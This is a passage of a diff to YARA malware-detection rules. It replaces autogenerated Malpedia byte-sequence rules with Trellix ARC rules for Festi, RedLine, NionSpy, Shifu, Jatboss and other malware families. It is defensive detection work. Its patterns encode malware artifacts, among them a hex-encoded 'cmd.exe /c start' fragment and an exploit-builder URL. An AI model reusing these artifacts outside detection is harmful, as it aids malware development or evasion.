-		$sequence_5 = { 6a1f 8b4de4 51 ff15???????? }
-		$sequence_6 = { 8b55f8 81ca80000000 8955f8 6a04 8d45f8 50 6a1f }
-		$sequence_7 = { eb59 48 a3???????? e8???????? }
-		$sequence_8 = { 894df8 8b55f8 81ca80000000 8955f8 6a04 8d45f8 }
-		$sequence_9 = { f2c3 f2e94e030000 55 8bec 5d e9???????? 55 }
+		$pdb = "\\Only\\Must\\Not\\And.pdb"
+		$pdb1 = "\\To\\Access\\Do.pdb"
 
 	condition:
-		7 of them and filesize <296960
+		uint16(0)==0x5a4d and filesize <1440KB and any of them
 }
-rule MALPEDIA_Win_Holerun_Auto : FILE
+rule TRELLIX_ARC_Festi_Botnet_Pdb : BOTNET FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3860635a-d58f-5696-9faf-227bf0bff05b"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.holerun"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.holerun_auto.yar#L1-L117"
-		license_url = "N/A"
-		logic_hash = "5a5dd43f05b56cbfa86f75c5f65da136c78c894cffec56359e16aa1bc679245f"
+		description = "Rule to detect the Festi botnet based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "02f4149d-b8ac-5852-8cbe-c47f4cddcba6"
+		date = "2013-03-04"
+		modified = "2020-08-14"
+		reference = "https://www.welivesecurity.com/2012/05/11/king-of-spam-festi-botnet-analysis/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_festi_botnet_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "e55913523f5ae67593681ecb28d0fa1accee6739fdc3d52860615e1bc70dcb99"
+		logic_hash = "46e2576900fe94d614a683d4f09079b7ac78654079b2e558d076bcb42db4bf11"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { 85c0 740c c785ec00000000000000 eb63 488b05???????? }
-		$sequence_1 = { e8???????? 8b45c4 83f840 7472 8b45c4 83f804 }
-		$sequence_2 = { c744242000010000 41b901000000 41b800000000 ba03000000 4889c1 }
-		$sequence_3 = { 488b85e0000000 488b4020 4889c1 488b05???????? ffd0 }
-		$sequence_4 = { ffd0 488b85e0000000 488b4020 4889c1 488b05???????? }
-		$sequence_5 = { ffd0 8b85cc030000 4881c458040000 5b 5d c3 }
-		$sequence_6 = { 4883c00f 48c1e804 48c1e004 e8???????? 4829c4 }
-		$sequence_7 = { eb1e 8345f401 488345f828 488b45e8 0fb74006 0fb7c0 }
-		$sequence_8 = { c705????????00000000 c705????????00000000 8b45fc 8905???????? }
-		$sequence_9 = { 488b4d10 e8???????? 4885c0 7507 b8ffffffff eb05 }
+		quality = 70
+		tags = "BOTNET, FILE"
+		rule_version = "v1"
+		malware_type = "botnet"
+		malware_family = "Botnet:W32/Festi"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+
+	strings:
+		$pdb = "\\eclipse\\botnet\\drivers\\Bin\\i386\\kernel.pdb"
 
 	condition:
-		7 of them and filesize <156672
+		uint16(0)==0x5a4d and filesize <80KB and any of them
 }
-rule MALPEDIA_Win_Unidentified_106_Auto : FILE
+rule TRELLIX_ARC_Redline_Payload : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "149fd261-d790-5329-9f62-f83b72c17c68"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_106_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "b7794c4f304d97457540366e3546931a6b0930939bfed6f5754198d0fc46abff"
+		description = "Rule to detect the RedLine payload"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "61c2032f-1e6b-5123-8f99-ff83ae95e8a9"
+		date = "2020-04-16"
+		modified = "2020-08-14"
+		reference = "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_redline.yar#L1-L38"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5df956f08d6ad0559efcdb7b7a59b2f3b95dee9e2aa6b76602c46e2aba855eff"
+		logic_hash = "44df161b7434b9137ca5bb919eb314f8447b216b3f6e1214606a898fb36ee4f4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/RedLine"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8bc2 3bd5 7d14 2bea 33d2 448bc5 49c1e002 }
-		$sequence_1 = { d0250000ffff 3d00000d00 740e 8b4b04 53 e8???????? 413bc7 }
-		$sequence_2 = { e8???????? 488b8bf8000000 4889bbf0000000 e8???????? 488b8b00010000 4889bbf8000000 e8???????? }
-		$sequence_3 = { e8???????? e8???????? 8bc8 b881808080 f7e9 03d1 c1fa07 }
-		$sequence_4 = { 8bc1 418d140e 4803c6 41b800100000 66440b833c040000 4889442438 8bc2 }
-		$sequence_5 = { a806 0f85cf020000 bafbff0000 6623c2 6683c802 66898108030000 33c0 }
-		$sequence_6 = { 488d442448 4889442428 4c8bcb 488d442430 418bd7 498bce 4889442420 }
-		$sequence_7 = { e8???????? 85c0 7920 488b0f 488d5710 4885d2 0f8454fbffff }
-		$sequence_8 = { e9???????? 498b5f08 be02000000 440fb7f5 4d03f3 4180fc06 7508 }
-		$sequence_9 = { 90 eb02 eb00 498bc4 488b5c2478 488bac2480000000 4883c440 }
+		$s1 = "Cambrel.exe" fullword ascii
+		$s2 = { 22 00 54 00 65 00 78 00 74 00 49 00 6e 00 70 00 75 00 74 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 44 00 59 00 4e 00 4c 00 49 00 4e 00 4b 00 22 00 }
+		$op0 = { 06 7c 34 00 00 04 7b 17 00 00 04 7e 21 00 00 0a }
+		$op1 = { 96 00 92 0e 83 02 02 00 f4 20 }
+		$op2 = { 03 00 c6 01 d9 08 1b 03 44 }
+		$p0 = { 80 00 96 20 83 11 b7 02 10 }
+		$p1 = { 20 01 00 72 0f 00 20 02 00 8a 0f 00 20 03 00 61 }
+		$p2 = { 03 00 c6 01 cd 06 13 03 79 }
 
 	condition:
-		7 of them and filesize <27402240
+		uint16(0)==0x5a4d and filesize <60KB and all of ($s*) and all of ($op*) or all of ($p*)
 }
-rule MALPEDIA_Win_Zebrocy_Auto : FILE
+rule TRELLIX_ARC_Malw_Likseput_Backdoor_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ddee4b03-585f-5184-85a4-c6cc1e810bdc"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zebrocy_auto.yar#L1-L161"
-		license_url = "N/A"
-		logic_hash = "619394d96ac2748c82d29651fdad853561cf847222687873937db9b64b7f21e0"
+		description = "Rule to detect Likseput backdoor based on the PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "2193daf8-016b-5f49-97ec-b821c8da22f6"
+		date = "2011-03-26"
+		modified = "2020-08-14"
+		reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_likseput.e"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_likseput_backdoor_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "993b36370854587f4eef3366562f01ab87bc4f7b88a21f07b44bd5051340386d"
+		logic_hash = "2afc4b7e6a5f0d9fed9a075aebaac8157e843c83c55c3f2255431bb6a03459ec"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Likseput"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 014158 11515c e8???????? dc6360 }
-		$sequence_1 = { 8bc6 33d2 66891478 8bc6 5f c3 8bff }
-		$sequence_2 = { 0103 83c41c 5b 5e }
-		$sequence_3 = { 83c438 68581b0000 ff15???????? 83bd00f7ffff08 8b85ecf6ffff 7306 8d85ecf6ffff }
-		$sequence_4 = { 8b7508 837e0800 7610 8b4608 8d808c994200 fe08 }
-		$sequence_5 = { 0110 8b7dd4 ba???????? 89470c }
-		$sequence_6 = { 0103 8b0e ba???????? e8???????? }
-		$sequence_7 = { 8b441a20 85c9 7f0d 7c05 83f801 7706 }
-		$sequence_8 = { 0102 8b45d4 89500c 89c1 }
-		$sequence_9 = { 014150 8b550c 115154 014158 }
-		$sequence_10 = { 0f8553010000 837de400 7c5d 7f04 85f6 }
-		$sequence_11 = { 0103 31d2 85ff 8b03 }
-		$sequence_12 = { 7303 8d45b8 8b4dc8 03c8 8bc6 83fa10 }
-		$sequence_13 = { 68???????? 6888000800 ff15???????? 8bf0 85f6 }
-		$sequence_14 = { 0110 5e 5f 5d }
-		$sequence_15 = { 3bc1 0f87c8090000 ff2485689c4100 33c0 838de8fdffffff }
+		$pdb = "\\work\\code\\2008-7-8muma\\mywork\\winInet_winApplication2009-8-7\\mywork\\aaaaaaa\\Release\\aaaaaaa.pdb"
 
 	condition:
-		7 of them and filesize <393216
+		uint16(0)==0x5a4d and filesize <40KB and any of them
 }
-rule MALPEDIA_Win_Sanny_Auto : FILE
+rule TRELLIX_ARC_Nionspy : FILEINFECTOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "de370068-b36d-54a3-8d87-5388d41e6079"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sanny_auto.yar#L1-L125"
-		license_url = "N/A"
-		logic_hash = "d17095442c6476759b49de20e09af803b9389d5106c74ad1d4cc2616aa104b23"
+		description = "Triggers on old and new variants of W32/NionSpy file infector"
+		author = "Trellix ARC Team"
+		id = "86051ef8-a18b-553c-b06c-490f8d6df5cf"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://blogs.mcafee.com/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_NionSpy.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "982ba52f39352aee9e2d2dcadfb0816c439e92d0e5947afa7860630720913742"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "FILEINFECTOR, FILE"
+		malware_type = "fileinfector"
+		malware_family = "FileInfector:W32/NionSpy"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 51 8bcb e8???????? 8b5310 68???????? 8d442a08 }
-		$sequence_1 = { 8b842430060000 8d742410 8d5901 b987000000 53 81ec1c020000 8bfc }
-		$sequence_2 = { ebd3 53 55 56 57 }
-		$sequence_3 = { 52 68???????? 56 e8???????? 8b44244c }
-		$sequence_4 = { 8bc2 c1c60a 03f1 f7d0 0bc6 33c1 }
-		$sequence_5 = { ae 40 00bcae4000e0ae 40 0023 d18a0688078a }
-		$sequence_6 = { 55 68???????? 55 e8???????? 8b4c2424 83c410 55 }
-		$sequence_7 = { 663918 747f 668b11 6683fa41 720c }
-		$sequence_8 = { f3ab 8b0d???????? aa 898c2408010000 b906000000 33c0 8dbc240d010000 }
-		$sequence_9 = { 8b44241c 8d9424dc000000 52 50 ffd5 b925000000 33c0 }
+		$variant2015_infmarker = "aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT"
+		$variant2013_infmarker = "ad6af8bd5835d19cc7fdc4c62fdf02a1"
+		$variant2013_string = "%s?cstorage=shell&comp=%s"
 
 	condition:
-		7 of them and filesize <253952
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 1 of ($variant*)
 }
-rule MALPEDIA_Win_Xagent_Auto : FILE
+rule TRELLIX_ARC_Msworldexploit_Builder_Doc : MALDOC FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bde2508f-cfa2-522c-bf18-0bedb23d3501"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xagent_auto.yar#L1-L231"
-		license_url = "N/A"
-		logic_hash = "1ef231aa11dc012f9839829c886b5e479b3c99a501478ca77ee155ba663fd5ac"
+		description = "Rule to detect RTF/Docs files created by MsWordExploit Builder"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "6c4c091b-5fce-583a-bc17-31830251892c"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_MsWordExploit_DOC.yar#L1-L24"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "f85c6d79e5ed20084d35f9de92a9d9ce20cf4b3100b1226d64147e366934585d"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "MALDOC, FILE"
+		malware_type = "maldoc"
+		malware_family = "Maldoc:W32/MSwordExploit"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { c1ea02 6bd20d b801000000 2bc2 }
-		$sequence_1 = { ff15???????? 8bd8 e8???????? 03d8 }
-		$sequence_2 = { 5b 8be5 5d c20400 8d4de4 e8???????? b8???????? }
-		$sequence_3 = { 8b4604 85c0 7407 8b4d08 8b11 }
-		$sequence_4 = { 2bc7 8b5204 8b0482 8b0488 8b4e10 }
-		$sequence_5 = { 85c9 7423 8b7e08 ff460c 03ff }
-		$sequence_6 = { 33d2 eb02 8b11 8b4808 8bc1 57 }
-		$sequence_7 = { 3b7e0c 7707 c7460c00000000 49 }
-		$sequence_8 = { 894e10 7507 c7460c00000000 5f }
-		$sequence_9 = { 55 8bec 33c0 83ec0c 39412c }
-		$sequence_10 = { 384b02 0f92c3 488d4c2430 e8???????? 90 }
-		$sequence_11 = { e8???????? 90 0fb705???????? 6689442420 }
-		$sequence_12 = { e8???????? 488b4328 4c8bcf 4c8bc6 }
-		$sequence_13 = { 84c0 740c 488b07 488b0b }
-		$sequence_14 = { 8bd8 e8???????? 8d0c18 e8???????? }
-		$sequence_15 = { 48896c2410 4889742418 57 4883ec30 4883792800 }
-		$sequence_16 = { e8???????? 498bce 4e8d0437 482bcf }
-		$sequence_17 = { 740c 488b07 4c8b13 488903 }
-		$sequence_18 = { b803b57ea5 f7e6 c1ea06 6bd263 }
-		$sequence_19 = { ff15???????? baf4010000 488bcb ff15???????? 85c0 }
-		$sequence_20 = { c1ea07 69d295000000 2bca 8bd1 }
-		$sequence_21 = { 75f8 482bc3 4d8bc6 498bd7 }
-		$sequence_22 = { 75f8 482bc3 4c8bc6 488bd7 }
-		$sequence_23 = { 75f8 482bc3 498bd7 488d0c18 }
-		$sequence_24 = { 75f8 482bc5 4533e4 488bbc2480000000 }
-		$sequence_25 = { 75f8 482bc3 498bd6 488d0c18 e8???????? 488bd7 4885ff }
+		$s1 = { 68 74 74 70 3A 2F 2F 61 70 69 2E 6D 73 77 6F 72 64 65 78 70 6C 6F 69 74 2E 63 6F 6D }
+		$s2 = "{\\*\\generator mswordexploit 6.3.9600}" fullword ascii
 
 	condition:
-		7 of them and filesize <729088
+		uint16(0)==0x3030 and filesize <4000KB and any of them
 }
-rule MALPEDIA_Win_Highnote_Auto : FILE
+rule TRELLIX_ARC_Malw_Inabot_Worm : WORM FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9754f7b1-01be-5dce-8939-9dbedbd321d3"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.highnote"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.highnote_auto.yar#L1-L128"
-		license_url = "N/A"
-		logic_hash = "63e3b329a81995d654d7d4235beb319e224a0ea782f84de7ddd9bdcbead90225"
+		description = "Rule to detect inabot worm based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b899d2d6-000a-5363-9efe-527dcd0cea17"
+		date = "2013-04-19"
+		modified = "2020-08-14"
+		reference = "http://verwijderspyware.blogspot.com/2013/04/elimineren-w32inabot-worm-hoe-te.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_inabot_worm_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "c9c010228254aae222e31c669dda639cdd30695729b8ef2b6ece06d899a496aa"
+		logic_hash = "70485de4e071b684faa87484ce2a53a8b2a29d0a2954e785b858c7ff1d908de0"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "WORM, FILE"
+		rule_version = "v1"
+		malware_type = "worm"
+		malware_family = "Worm:W32/Inabot"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { b3a7 8cd7 a5 329ea1afa9a5 5d b5a5 }
-		$sequence_1 = { 2d620a682c fd 9d 8945ec 8945f0 8945f4 9c }
-		$sequence_2 = { 3665017cf341 14b0 63c5 ef d550 3362db }
-		$sequence_3 = { 0fb6c9 8a1408 0fb6da 03de 81e3ff000080 }
-		$sequence_4 = { 98 fd bfb47ea0c6 ddbb690cc1af 6595 fa 6a23 }
-		$sequence_5 = { 115542 305421f0 d438 bd4dae2b31 b1f7 }
-		$sequence_6 = { 90 9e a4 3634a1 6594 2424 e230 }
-		$sequence_7 = { 2ca7 33e6 7479 1e 0477 ed 7cb1 }
-		$sequence_8 = { 8636 35cfd6d703 b368 321e 4a 727d 51 }
-		$sequence_9 = { 000b 2920 da927a3741d4 7e5b a7 5a 40 }
+		$pdb = "\\trasser\\portland.pdb"
+		$pdb1 = "\\mainstream\\archive.pdb"
 
 	condition:
-		7 of them and filesize <321536
+		uint16(0)==0x5a4d and filesize <180KB and any of them
 }
-rule MALPEDIA_Win_Prestige_Auto : FILE
+rule TRELLIX_ARC_Jatboss : PHISHING FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "554de8b7-e6ad-5535-8c14-f95b90ec653d"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prestige_auto.yar#L1-L129"
-		license_url = "N/A"
-		logic_hash = "3d9139c6507e377e5a1b52cf299e6f205e8499ed341925da786360ebd802ec9b"
+		description = "Rule to detect PDF files from Jatboss campaign and MSG files that contained those attachents"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "009a7486-2ee8-57ef-8dfd-fcbd035b4e85"
+		date = "2019-12-04"
+		modified = "2020-08-14"
+		reference = "https://exchange.xforce.ibmcloud.com/collection/JATBOSS-Phishing-Kit-17c74b38860de5cb9fc727e6c0b6d5b5"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_jatboss.yar#L1-L36"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "b81fb37dc48812f6ad61984ecf2a8dbbfe581120257cb4becad5375a12e755bb"
+		logic_hash = "5e6e4c8f6c0896623f166a98eb83a9a4f23139306671cf2e35ba239b2dc191fc"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 66
+		tags = "PHISHING, FILE"
+		rule_version = "v1"
+		malware_type = "phishing"
+		malware_family = "Phishing:W32/Jatboss"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 894648 8b7a4c 897e4c 837a4c10 7706 }
-		$sequence_1 = { 03f3 c706652b3030 8d4604 33d2 e9???????? 8bd1 c745c409000000 }
-		$sequence_2 = { 83f826 7603 6a26 58 0fb60c85be534700 0fb63485bf534700 }
-		$sequence_3 = { b9fe020000 3bc1 0f4fc1 8d8decfcffff 50 8985e8fcffff e8???????? }
-		$sequence_4 = { 3bf0 730a 8bc6 89742410 897c2414 50 ff7508 }
-		$sequence_5 = { 8d45fc 50 8bd6 e8???????? 8b7508 8bf8 59 }
-		$sequence_6 = { 8bf2 57 8bf9 8d4e02 668b06 83c602 6685c0 }
-		$sequence_7 = { 85c0 740c 8d432c 8945f8 8b00 }
-		$sequence_8 = { 8945d8 8b45e8 5e 13ce f765e0 6a00 8945ec }
-		$sequence_9 = { 59 c3 8b4c240c 68???????? e8???????? 8b44240c 5e }
+		$jat = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 }
+		$jatboss = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 }
+		$spam = { 54 00 68 00 69 00 73 00 20 00 65 00 2D 00 6D 00 61 00 69 00 6C 00 20 00 61 00 6E 00 64 00 20 00 61 00 6E 00 79 00 20 00 61 00 74 00 74 00 61 00 63 00 68 00 6D 00 65 00 6E 00 74 00 20 00 61 00 72 00 65 00 20 00 43 00 6F 00 6E 00 66 00 69 00 64 00 65 00 6E 00 74 00 69 00 61 00 6C 00 2E 00 }
 
 	condition:
-		7 of them and filesize <1518592
+		( uint16(0)==0x5025 and filesize <1000KB and ($jat or $jatboss)) or ( uint16(0)==0xcfd0 and $spam and any of ($jat*))
 }
-rule MALPEDIA_Win_Screencap_Auto : FILE
+rule TRELLIX_ARC_Shifu : FINANCIAL
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "104aba67-45fe-5a81-add7-5f096073514f"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.screencap_auto.yar#L1-L125"
-		license_url = "N/A"
-		logic_hash = "d12bc6cdd7eeaf3c014435658ac08460e21def542afb74f89d01054fc70f3f9a"
+		description = "No description has been set in the source file - Trellix ARC"
+		author = "McAfee Labs"
+		id = "81e9ad25-1df0-5196-be8b-1d1d5d8e4387"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://blogs.mcafee.com/mcafee-labs/japanese-banking-trojan-shifu-combines-malware-tools/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_Shifu.yar#L1-L24"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "dfa6165f8d2750330c71dedbde293780d2bb27e8eb3635e47ca770ff7b9a9d63"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "FINANCIAL"
+		malware_type = "financial"
+		malware_family = "Backdoor:W32/Shifu"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 488b4c2450 488364242000 488d0591e90000 488b0cc8 4c8d4c2458 488d542460 498b0c0f }
-		$sequence_1 = { 41c1eb05 418d5f01 41c1e302 83fe08 }
-		$sequence_2 = { 4883ec20 4c8d25a09c0000 33f6 33db 498bfc 837f0801 7526 }
-		$sequence_3 = { 39842420100000 0f869f010000 6a04 687c334700 55 e8???????? }
-		$sequence_4 = { 488bce ff15???????? bf00080000 3bdf 7702 }
-		$sequence_5 = { 72ed 48833d????????00 741f 488d0d06130100 e8???????? }
-		$sequence_6 = { 8bdf e8???????? 85ff 741c 488d4c2450 0fb601 84c0 }
-		$sequence_7 = { 3bf8 0f869c000000 6a04 687c334700 55 e8???????? }
-		$sequence_8 = { 8d854c100000 50 ff15???????? 8bf0 8975e0 85f6 0f84bb030000 }
-		$sequence_9 = { 89470c 894710 894714 8d854c2c0000 50 e8???????? 6805040000 }
+		$b = "RegCreateKeyA"
+		$a = "CryptCreateHash"
+		$c = {2F 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 25 00 73 00 00 00 00 00 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 00 72 00 75 00 6E}
+		$d = {53 00 6E 00 64 00 56 00 6F 00 6C 00 2E 00 65 00 78 00 65}
+		$e = {52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 45 00 58 00 45}
 
 	condition:
-		7 of them and filesize <1391616
+		all of them
 }
-rule MALPEDIA_Win_Acbackdoor_Auto : FILE
